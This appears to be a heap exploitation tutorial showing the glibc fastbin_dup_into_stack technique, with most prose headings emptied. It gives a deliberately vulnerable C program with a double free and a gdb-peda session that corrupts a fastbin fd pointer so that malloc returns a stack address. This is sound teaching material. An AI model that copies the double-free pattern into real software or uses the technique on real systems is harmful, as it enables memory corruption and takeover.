Conditions

Exploit plan

Example

Files

Source code

#include <stdio.h>
#include <stdlib.h>

int main()
{
        long stack_var = 0x0;

        printf("Stack_var : %p\n",&stack_var);
        char *buf1 = malloc(112);
        char *buf2 = malloc(112);
        char *buf3 = malloc(112);

        free(buf1);
        free(buf2);
        free(buf1);

        char *buf4 = malloc(112);
        char *buf5 = malloc(112);

        printf("buf4 size : %ld\n",sizeof(buf4));
        scanf("%ld",&stack_var);
        scanf("%8s",buf4);

        char *buf6 = malloc(112);
        char *buf7 = malloc(112);
        scanf("%100s",buf7);
}

Exploit flow

Debugging

gdb-peda$ b *0x0000000000400684
Breakpoint 1 at 0x400684
gdb-peda$ b *0x0000000000400695
Breakpoint 2 at 0x400695
gdb-peda$ b *0x00000000004006a1
Breakpoint 3 at 0x4006a1
gdb-peda$ b *0x00000000004006ab
Breakpoint 4 at 0x4006ab
gdb-peda$ b *0x00000000004006b9
Breakpoint 5 at 0x4006b9
gdb-peda$ b *0x00000000004006f8
Breakpoint 6 at 0x4006f8
gdb-peda$ b *0x0000000000400707
Breakpoint 7 at 0x400707
gdb-peda$ b *0x0000000000400715
Breakpoint 8 at 0x400715
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/fastbin_dup_into_stack 
Stack_var : 0x7fffffffe220
Breakpoint 1, 0x0000000000400684 in main ()
gdb-peda$ p main_arena.fastbinsY 
$1 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81

gdb-peda$ ni
0x0000000000400689 in main ()
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
gdb-peda$ c
Continuing.
Breakpoint 2, 0x0000000000400695 in main ()
gdb-peda$ p main_arena.fastbinsY 
$3 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}
gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000602000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
gdb-peda$ c
Continuing.

Breakpoint 3, 0x00000000004006a1 in main ()
gdb-peda$ p main_arena.fastbinsY 
$4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
gdb-peda$ x/50gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000602080	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000602000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000081
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000020e81
gdb-peda$ 
gdb-peda$ c
Continuing.

Breakpoint 4, 0x00000000004006ab in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.fastbinsY 
$5 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}

gdb-peda$ c
Continuing.

Breakpoint 5, 0x00000000004006b9 in main ()
gdb-peda$ i r rax
rax            0x602090	0x602090
gdb-peda$ p main_arena.fastbinsY 
$6 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0}
gdb-peda$ c
Continuing.
buf4 size : 8
128

Breakpoint 6, 0x00000000004006f8 in main ()
gdb-peda$ x/gx 0x7fffffffe220
0x7fffffffe220:	0x0000000000000080
gdb-peda$ ni
AAAAAAAA

0x00000000004006fd in main ()
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4141414141414141	0x0000000000000000

gdb-peda$ set *0x602010 = 0x7fffffffe220 - 0x8
gdb-peda$ set *0x602014 = 0x7fff
gdb-peda$ x/gx 0x602010
0x602010:	0x00007fffffffe218
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x00007fffffffe218	0x0000000000000000
gdb-peda$ c
Continuing.

Breakpoint 7, 0x0000000000400707 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.fastbinsY 
$7 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe218, 0x0, 0x0, 0x0}

gdb-peda$ c
Continuing.

Breakpoint 8, 0x0000000000400715 in main ()
gdb-peda$ i r rax
rax            0x7fffffffe228	0x7fffffffe228
gdb-peda$ p main_arena.fastbinsY 
$8 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602010, 0x0, 0x0, 0x0}
gdb-peda$ x/20gx 0x7fffffffe228 - 0x10
0x7fffffffe218:	0x0000000000400715	0x0000000000000080
0x7fffffffe228:	0x0000000000602010	0x0000000000602090
0x7fffffffe238:	0x0000000000602110	0x0000000000602010
0x7fffffffe248:	0x0000000000602090	0x0000000000602010
0x7fffffffe258:	0x0000000000000000	0x0000000000000000
0x7fffffffe268:	0x00007ffff7a32f45	0x0000000000000000
0x7fffffffe278:	0x00007fffffffe358	0x0000000100000000
0x7fffffffe288:	0x000000000040062d	0x0000000000000000
0x7fffffffe298:	0x4b0a417085002861	0x0000000000400540
0x7fffffffe2a8:	0x00007fffffffe350	0x0000000000000000
gdb-peda$ 

Related information